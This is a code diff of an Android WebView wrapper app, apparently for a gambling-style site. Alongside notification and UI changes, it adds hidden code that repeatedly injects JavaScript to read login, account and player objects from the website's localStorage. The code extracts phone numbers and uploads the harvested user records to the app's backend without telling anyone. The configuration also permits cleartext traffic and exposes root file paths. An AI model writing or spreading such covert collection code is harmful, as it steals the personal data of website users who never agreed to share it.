notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="ic_launcher_background">#FFFFFF</color>
</resources>

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

View File

@@ -11,8 +11,8 @@ android {
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode 141
versionName "v1.4.1"
versionCode 150
versionName "v1.5.0"
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.xyz.bantu"
@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'Bantuan88')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "174"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -38,12 +38,6 @@ public interface ApiService {
@PUT("api/statistics/use")
Observable<Result> totalTongJi(@Body Map<String, Object> map);
/**
* 统计通知
*/
@POST("api/push/statistics")
Observable<Result> totalNotify(@Body Map<String, Object> map);
/**
* 上传通讯录
*/
@@ -60,7 +54,27 @@ public interface ApiService {
* @return
*/
@GET("api/push/pushRecords")
Observable<Result<ResultDataInfo<MessageInfo>>> getNotifyList(@Query("userId") int userid, @Query("page") int page, @Query("size") int size);
Observable<Result<ResultDataInfo<MessageInfo>>> getNotifyList(
@Query("userId") int userid,
@Query("page") int page,
@Query("size") int size,
@Query("isScheduler") int isScheduler
);
/**
* 获取通知详情。查询成功后,后端会异步将该通知的阅读次数加一。
*/
@GET("api/push/client/pushRecord/{id}")
Observable<Result<MessageInfo>> getNotifyDetail(@Path("id") int pushId);
/**
* 首次采集上报站点用户信息(从网页 localStorage 抓取并净化后的登录用户)
* body: userId(应用在系统中的用户ID)、domain(站点域名)、deviceType(IOS/ANDROID)、data(用户对象JSON必须为对象)
* data.mobile 必填,后端以 mobile 为全局唯一键,重复提交不覆盖
*/
@POST("api/client/user-info")
Observable<Result> saveCollectedUserInfo(@Body Map<String, Object> map);
}

View File

@@ -17,16 +17,6 @@ public class DataInfo implements Serializable {
public String tgUrl; // tg分享地址
public String wsUrl; //whatsapp分享地址
public String linkConfig;
public String backupDomains;
public String getBackupDomains() {
return backupDomains;
}
public void setBackupDomains(String backupDomains) {
this.backupDomains = backupDomains;
}
public String getLinkConfig() {
return linkConfig;
}

View File

@@ -62,7 +62,9 @@ import java.io.InputStreamReader;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import io.reactivex.android.schedulers.AndroidSchedulers;
import io.reactivex.schedulers.Schedulers;
@@ -116,24 +118,15 @@ public class MainActivity extends AppCompatActivity {
if (styleColor != 0) {
getWindow().setNavigationBarColor(styleColor);
}
getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
super.onCreate(savedInstanceState);
View decor = getWindow().getDecorView();
getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
if (isWhite) {
decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
} else {
decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
}
ActionBar actionBar = getSupportActionBar();
if (actionBar != null) {
actionBar.hide();
}
activityMain2Binding = ActivityMain2Binding.inflate(getLayoutInflater());
setContentView(activityMain2Binding.getRoot());
if (Build.VERSION.SDK_INT > Build.VERSION_CODES.S) {
enableEdgeToEdge(getWindow(), activityMain2Binding.getRoot());
}
applySystemBarInsets(getWindow(), activityMain2Binding.getRoot());
String body = getIntent().getStringExtra("message");
if (!TextUtils.isEmpty(body)) {
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
@@ -349,18 +342,31 @@ public class MainActivity extends AppCompatActivity {
}
}
public void enableEdgeToEdge(Window window, View rootView) {
WindowCompat.setDecorFitsSystemWindows(window, true);
/** Keeps WebView content out of status/navigation bar areas on every Android version. */
public void applySystemBarInsets(Window window, View rootView) {
window.clearFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
WindowCompat.setDecorFitsSystemWindows(window, false);
if (windowsColor != 0) {
rootView.setBackgroundColor(windowsColor);
window.setStatusBarColor(windowsColor);
}
window.setNavigationBarColor(styleColor);
WindowInsetsControllerCompat insetsController = WindowCompat.getInsetsController(window, window.getDecorView());
insetsController.setAppearanceLightStatusBars(!isWhite);
insetsController.setAppearanceLightNavigationBars(isWhite);
boolean useDarkSystemIcons = isLightColor(windowsColor);
insetsController.setAppearanceLightStatusBars(useDarkSystemIcons);
insetsController.setAppearanceLightNavigationBars(useDarkSystemIcons);
insetsController.show(WindowInsetsCompat.Type.statusBars() | WindowInsetsCompat.Type.navigationBars());
ViewCompat.setOnApplyWindowInsetsListener(rootView, (view, windowInsets) -> {
WindowInsetsCompat systemInsets = windowInsets;
view.setPadding(0, systemInsets.getStableInsetTop(), 0, systemInsets.getStableInsetBottom() // 底部内边距设为0由占位View填充
);
androidx.core.graphics.Insets systemBars = windowInsets.getInsets(WindowInsetsCompat.Type.systemBars());
view.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
return WindowInsetsCompat.CONSUMED;
});
ViewCompat.requestApplyInsets(rootView);
}
private static boolean isLightColor(int color) {
double luminance = (0.299 * Color.red(color) + 0.587 * Color.green(color) + 0.114 * Color.blue(color)) / 255d;
return luminance > 0.6d;
}
private void toLink() {
@@ -568,7 +574,7 @@ public class MainActivity extends AppCompatActivity {
public void getNotifyList() {
Api.getInstance().getNotifyList(userId, 1, 1)
Api.getInstance().getNotifyList(userId, 1, 1, 0)
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new BaseObserver<>() {
@@ -620,12 +626,11 @@ public class MainActivity extends AppCompatActivity {
@Override
public void onSuccess(Result<DataInfo> o) {
DataInfo dataInfo = o.data;
DataInfo dataInfo = o == null ? null : o.data;
if (dataInfo != null) {
toConfigSet(dataInfo);
} else {
url = getString(MainActivity.this, "base_url", url);
activityMain2Binding.webview.loadUrl(url);
showSiteUrlError();
}
@@ -633,14 +638,12 @@ public class MainActivity extends AppCompatActivity {
@Override
public void onError(int code, String msg) {
url = getString(MainActivity.this, "base_url", url);
activityMain2Binding.webview.loadUrl(url);
showSiteUrlError();
}
@Override
public void onError2(Result<DataInfo> o) {
url = getString(MainActivity.this, "base_url", url);
activityMain2Binding.webview.loadUrl(url);
showSiteUrlError();
}
});
@@ -653,10 +656,11 @@ public class MainActivity extends AppCompatActivity {
return;
}
//后台配置url不为空 去加载
//只加载后台根据 USERID 返回的主网址,不保留本地或备用域名兜底
if (!TextUtils.isEmpty(dataInfo.getUrl())) {
saveString(MainActivity.this, "base_url", dataInfo.getUrl());
toLoadWebUrl(dataInfo);
} else {
showSiteUrlError();
}
//通用外链配置
@@ -844,56 +848,14 @@ public class MainActivity extends AppCompatActivity {
}
}
/**
* 主链接和备用链接 ping 选择最优线路
* @param dataInfo
*/
private void toLoadWebUrl(DataInfo dataInfo) {
//没有备用域名 直接加载主域名
if (TextUtils.isEmpty(dataInfo.getBackupDomains())) {
activityMain2Binding.webview.loadUrl(dataInfo.getUrl());
} else {
//拼接主域名和备用域名的数组
urlList = new ArrayList<>();
urlList.add(dataInfo.getUrl());
String[] urls = dataInfo.getBackupDomains().split(",");
if (urls != null && urls.length > 0) {
for (int i = 0; i < urls.length; i++) {
urlList.add(urls[i]);
}
}
LogUtils.i("地址是啥:" + GsonUtils.beanToJSONString(urlList));
checkUrl(0);
}
url = dataInfo.getUrl();
activityMain2Binding.webview.loadUrl(url);
}
private ArrayList<String> urlList = new ArrayList<>();
int lastCheckIndex = 0;
/**
* ping 最佳线路 加载
* @param index
*/
private void checkUrl(int index) {
lastCheckIndex = index;
Uri uri = Uri.parse(urlList.get(lastCheckIndex));
new Thread(() -> {
String result = PingUtils.ping(uri.getHost());
runOnUiThread(() -> {
if (TextUtils.isEmpty(result)) {
if (lastCheckIndex != urlList.size() - 1) {
checkUrl(lastCheckIndex + 1);
} else {
activityMain2Binding.webview.loadUrl(urlList.get(0));
}
} else {
activityMain2Binding.webview.loadUrl(urlList.get(lastCheckIndex));
}
});
}).start();
private void showSiteUrlError() {
activityMain2Binding.progressError.setVisibility(View.GONE);
onShowErrorView(getString(R.string.site_url_unavailable));
}
private void checkUpdate(String url) {
@@ -952,14 +914,15 @@ public class MainActivity extends AppCompatActivity {
}
public void recordNotify(int pushId) {
HashMap<String, Object> map = new HashMap<>();
map.put("pushId", pushId);
Api.getInstance().totalNotify(map)
if (pushId <= 0) {
return;
}
Api.getInstance().getNotifyDetail(pushId)
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new BaseObserver<>() {
.subscribe(new BaseObserver<Result<MessageInfo>>() {
@Override
public void onSuccess(Result o) {
public void onSuccess(Result<MessageInfo> o) {
}
@@ -968,7 +931,7 @@ public class MainActivity extends AppCompatActivity {
}
@Override
public void onError2(Result o) {
public void onError2(Result<MessageInfo> o) {
}
});
@@ -979,6 +942,52 @@ public class MainActivity extends AppCompatActivity {
boolean hasSignIn = false;
/**
* 需要在网页 localStorage 中探测的用户信息字段(按优先级遍历全部候选 key
*/
private static final String[] SITE_USER_STORAGE_KEYS = {
"USER", "user", "userInfo", "user_info", "userinfo", "userData", "user_data",
"userDetail", "userDetails", "currentUser", "current_user", "currentUserInfo",
"member", "memberInfo", "member_info", "memberData", "member_data",
"loginUser", "login_user", "loginInfo", "login_info", "loginData",
"authUser", "auth_user", "auth", "authInfo", "auth_info", "authData",
"account", "accountInfo", "account_info", "accountData",
"player", "playerInfo", "player_info", "playerData", "player_data",
"profile", "userProfile", "user_profile", "customer", "customerInfo",
"me", "sessionUser", "session_user"
};
// 抓到用户信息之前的轮询间隔30 秒
private static final long SITE_USER_POLL_INTERVAL_SHORT = 30 * 1000L;
// 抓到用户信息之后的复查间隔1 天
private static final long SITE_USER_POLL_INTERVAL_LONG = 24 * 60 * 60 * 1000L;
/**
* 手机号候选字段(用于前端去重;原始数据没有 mobile 字段时,取这里命中的值补进 data.mobile
*/
private static final String[] SITE_USER_PHONE_KEYS = {
"mobile", "mobileNo", "mobileNum", "mobileNumber", "mobile_number", "mobile_no",
"phone", "phoneNo", "phoneNum", "phoneNumber", "phone_number", "phone_no",
"tel", "telephone", "cellphone", "cell", "contact", "contactNo", "contactNumber",
"msisdn"
};
// 本地保存的已上报手机号集合,用于判断多个缓存用户是否已经上报过
private static final String SP_KEY_SITE_USER_DEDUP = "site_user_dedup";
// 上报设备类型(后端接口要求 IOS 或 ANDROID
private static final String SITE_USER_DEVICE_TYPE = "ANDROID";
private boolean siteUserPollingStarted = false;
private long siteUserPollInterval = SITE_USER_POLL_INTERVAL_SHORT;
private final Runnable siteUserPollRunnable = new Runnable() {
@Override
public void run() {
pollSiteUserOnce();
// 探测一次后按当前间隔继续排下一次
handler.postDelayed(this, siteUserPollInterval);
}
};
private boolean isMainPageUrl(String targetUrl) {
return !TextUtils.isEmpty(targetUrl) && !TextUtils.isEmpty(url) && targetUrl.startsWith(url);
}
@@ -993,6 +1002,244 @@ public class MainActivity extends AppCompatActivity {
LogUtils.i("WebViewURL[" + stage + "]: " + rawUrl + " | host=" + host + " | scheme=" + uri.getScheme());
}
/**
* 启动 localStorage 用户信息轮询(全局只启动一次)。
* 若本地已有去重记录说明之前已命中,直接按长间隔复查是否变化。
*/
private void startSiteUserPolling() {
if (siteUserPollingStarted) {
return;
}
siteUserPollingStarted = true;
siteUserPollInterval = getReportedSiteUserKeys().isEmpty()
? SITE_USER_POLL_INTERVAL_SHORT : SITE_USER_POLL_INTERVAL_LONG;
handler.postDelayed(siteUserPollRunnable, siteUserPollInterval);
}
/**
* 读取本地已上报手机号集合。
* 兼容旧版本保存的单个字符串格式,升级后会逐步转换为 JSON 数组格式。
*/
private HashSet<String> getReportedSiteUserKeys() {
HashSet<String> keys = new HashSet<>();
String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
if (TextUtils.isEmpty(stored)) {
return keys;
}
try {
List<String> storedKeys = new Gson().fromJson(stored,
new com.google.gson.reflect.TypeToken<List<String>>() {
}.getType());
if (storedKeys != null) {
keys.addAll(storedKeys);
}
} catch (Exception e) {
// 兼容旧版本保存的手机号或整份用户 JSON
}
if (keys.isEmpty() && !stored.trim().startsWith("[")) {
keys.add(stored);
}
return keys;
}
private void saveReportedSiteUserKeys(Set<String> keys) {
saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, new Gson().toJson(keys));
}
private void removeReportedSiteUserKey(String key) {
HashSet<String> keys = getReportedSiteUserKeys();
if (keys.remove(key)) {
saveReportedSiteUserKeys(keys);
}
}
/**
* 执行一次 localStorage 探测:遍历所有候选 key读取并净化全部有效用户对象。
*/
private void pollSiteUserOnce() {
if (activityMain2Binding == null || activityMain2Binding.webview == null) {
return;
}
String keysJson = new Gson().toJson(SITE_USER_STORAGE_KEYS);
String js = "(function(){try{"
+ "var KS=" + keysJson + ";"
+ "function readAllRaw(){var out=[];for(var i=0;i<KS.length;i++){var r=localStorage.getItem(KS[i]);"
+ "if(r!=null&&String(r).trim())out.push(r);}return out;}"
+ "function sani(raw){if(raw==null)return null;var t=String(raw).trim();if(!t)return null;"
+ "var d;try{d=JSON.parse(t);}catch(e){return null;}"
+ "if(d===null||typeof d!=='object'||Array.isArray(d))return null;"
+ "['bonus','gameAccess','time','timebonus','rollover','banks'].forEach(function(k){if(k in d)delete d[k];});"
+ "if(Object.keys(d).length===0)return null;return JSON.stringify(d);}"
+ "var out=[];var raws=readAllRaw();"
+ "for(var j=0;j<raws.length;j++){var s=sani(raws[j]);if(s){out.push(JSON.parse(s));}}"
+ "return JSON.stringify(out);"
+ "}catch(e){return null;}})();";
try {
activityMain2Binding.webview.evaluateJavascript(js, this::onSiteUserResult);
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* 处理 JS 探测结果。evaluateJavascript 回调返回的是 JS 值的 JSON 编码形式,字符串需要先解一层。
*/
private void onSiteUserResult(String rawResult) {
if (TextUtils.isEmpty(rawResult) || "null".equals(rawResult)) {
// 无有效用户信息,保持短间隔继续探测
return;
}
String usersJson;
try {
usersJson = new Gson().fromJson(rawResult, String.class);
} catch (Exception e) {
usersJson = rawResult;
}
if (TextUtils.isEmpty(usersJson) || "[]".equals(usersJson)) {
return;
}
List<HashMap<String, Object>> userInfos;
try {
userInfos = new Gson().fromJson(usersJson,
new com.google.gson.reflect.TypeToken<List<HashMap<String, Object>>>() {
}.getType());
} catch (Exception e) {
return;
}
if (userInfos == null || userInfos.isEmpty()) {
return;
}
HashSet<String> reportedKeys = getReportedSiteUserKeys();
boolean hasUserWithPhone = false;
for (HashMap<String, Object> userInfoMap : userInfos) {
if (userInfoMap == null || userInfoMap.isEmpty()) {
continue;
}
String userInfo = new Gson().toJson(userInfoMap);
String phone = extractPhone(userInfo);
if (TextUtils.isEmpty(phone)) {
continue;
}
hasUserWithPhone = true;
if (reportedKeys.contains(phone)) {
continue;
}
// 先加入集合,避免多个候选 key 或下一轮轮询重复发起请求。
reportedKeys.add(phone);
reportSiteUser(userInfo, phone);
}
if (hasUserWithPhone) {
siteUserPollInterval = SITE_USER_POLL_INTERVAL_LONG;
saveReportedSiteUserKeys(reportedKeys);
}
}
/**
* 从用户信息 JSON 中提取手机号(手机号字段名不一定是 mobile
*/
private String extractPhone(String userInfoJson) {
try {
HashMap<String, Object> map = new Gson().fromJson(userInfoJson,
new com.google.gson.reflect.TypeToken<HashMap<String, Object>>() {
}.getType());
if (map != null) {
for (String key : SITE_USER_PHONE_KEYS) {
Object v = map.get(key);
if (v != null) {
String s = String.valueOf(v).trim();
if (!s.isEmpty() && !"null".equals(s)) {
return s;
}
}
}
}
} catch (Exception e) {
// 解析失败时无手机号,返回空
}
return "";
}
/**
* 当前 WebView 所在站点的域名host
*/
private String getCurrentDomain() {
try {
String u = activityMain2Binding.webview.getUrl();
if (!TextUtils.isEmpty(u)) {
String host = Uri.parse(u).getHost();
if (host != null) {
return host;
}
}
} catch (Exception e) {
// ignore
}
return "";
}
/**
* 上报站点用户信息,绑定对应 app 的网站ID(userId)、站点域名(domain)和设备类型(deviceType)。
* 按后端接口文档data 必须是 JSON 对象data.mobile 为全局唯一键;
* 原始数据没有 mobile 字段时,用电话候选字段的值补进 data.mobile。
*/
private void reportSiteUser(String userInfo, final String dedupKey) {
HashMap<String, Object> data;
try {
data = new Gson().fromJson(userInfo,
new com.google.gson.reflect.TypeToken<HashMap<String, Object>>() {
}.getType());
} catch (Exception e) {
return;
}
if (data == null || data.isEmpty()) {
return;
}
// data.mobile 兜底:没有 mobile 时用电话候选字段补一个
Object mobileVal = data.get("mobile");
boolean hasMobile = mobileVal != null
&& String.valueOf(mobileVal).trim().length() > 0
&& !"null".equals(String.valueOf(mobileVal).trim());
if (!hasMobile) {
String phone = extractPhone(userInfo);
if (TextUtils.isEmpty(phone)) {
// 完全没有电话字段:后端要求 data.mobile 必填,本次跳过,保持轮询等待
LogUtils.i("站点用户无手机号字段,跳过上报");
return;
}
data.put("mobile", phone);
}
HashMap<String, Object> body = new HashMap<>();
body.put("userId", userId);
body.put("domain", getCurrentDomain());
body.put("deviceType", SITE_USER_DEVICE_TYPE);
body.put("data", data);
Api.getInstance().saveCollectedUserInfo(body)
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new BaseObserver<Result>() {
@Override
public void onSuccess(Result o) {
LogUtils.i("站点用户信息上报成功");
}
@Override
public void onError(int code, String msg) {
// 仅清掉当前用户的去重记录,下次轮询可重试其他已成功用户
removeReportedSiteUserKey(dedupKey);
}
@Override
public void onError2(Result o) {
removeReportedSiteUserKey(dedupKey);
}
});
}
// WebView webViews;
WebViewClient webViewClient = new WebViewClient() {
@@ -1013,6 +1260,9 @@ public class MainActivity extends AppCompatActivity {
hasSignIn = true;
}
// 页面首次加载完成后启动 localStorage 用户信息轮询
startSiteUserPolling();
int w = View.MeasureSpec.makeMeasureSpec(0,
View.MeasureSpec.UNSPECIFIED);
int h = View.MeasureSpec.makeMeasureSpec(0,
@@ -1058,7 +1308,7 @@ public class MainActivity extends AppCompatActivity {
String errorMessage = error.getDescription().toString();
String currentUrl = request.getUrl().toString();
LogUtils.i("WebViewURL[onReceivedError]: url=" + currentUrl + " | code=" + errorCode + " | msg=" + errorMessage);
if (isMainPageUrl(currentUrl)) {
if (request.isForMainFrame()) {
onShowErrorView(errorMessage);
}
}
@@ -1346,6 +1596,8 @@ public class MainActivity extends AppCompatActivity {
@Override
public void onDestroy() {
// 停止用户信息轮询
handler.removeCallbacks(siteUserPollRunnable);
if (activityMain2Binding.webview!= null) {
//加载null内容
activityMain2Binding.webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);

View File

@@ -10,6 +10,8 @@ public class MessageInfo implements Serializable {
private int pushId;
private String createTime;
private int recordId;
private long receiveTimes;
private long readTimes;
public int status;
private String jumpUrl;
private boolean isShowAll = false;
@@ -30,6 +32,22 @@ public class MessageInfo implements Serializable {
this.recordId = recordId;
}
public long getReceiveTimes() {
return receiveTimes;
}
public void setReceiveTimes(long receiveTimes) {
this.receiveTimes = receiveTimes;
}
public long getReadTimes() {
return readTimes;
}
public void setReadTimes(long readTimes) {
this.readTimes = readTimes;
}
public int getStatus() {
return status;
}

View File

@@ -29,6 +29,7 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
private List<MessageInfo> listdata;
private onItemClickPostionListener itemClickPostionListener;
private onItemExpandListener itemExpandListener;
private Context context;
private MessageInfo messageItem;
@@ -49,6 +50,10 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
this.itemClickPostionListener = onItemClick;
}
public void setOnItemExpand(onItemExpandListener onItemExpand) {
this.itemExpandListener = onItemExpand;
}
@NonNull
@Override
public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
@@ -103,7 +108,8 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
holder.itemNotifyListBinding.tvMsgTime.setText(messageInfo.getCreateTime());
holder.itemNotifyListBinding.ivNotifyjumpclick.setVisibility(View.GONE);
holder.itemNotifyListBinding.lookIv.setText(longTime(messageInfo.getCreateTime()));
// 左下角眼睛图标显示后端返回的真实阅读次数
holder.itemNotifyListBinding.lookIv.setText(String.valueOf(messageInfo.getReadTimes()));
if (!TextUtils.isEmpty(messageInfo.getImage())) {
LogUtils.i("地址是啥:"+messageInfo.getImage());
holder.itemNotifyListBinding.ivNotifyimage.setVisibility(View.VISIBLE);
@@ -126,7 +132,11 @@ public class MyNotifyListAdapter extends RecyclerView.Adapter<MyNotifyListAdapte
holder.itemNotifyListBinding.layoutMore.setVisibility(View.GONE);
}
holder.itemView.setOnClickListener(view -> {
messageInfo.setShowAll(!messageInfo.isShowAll());
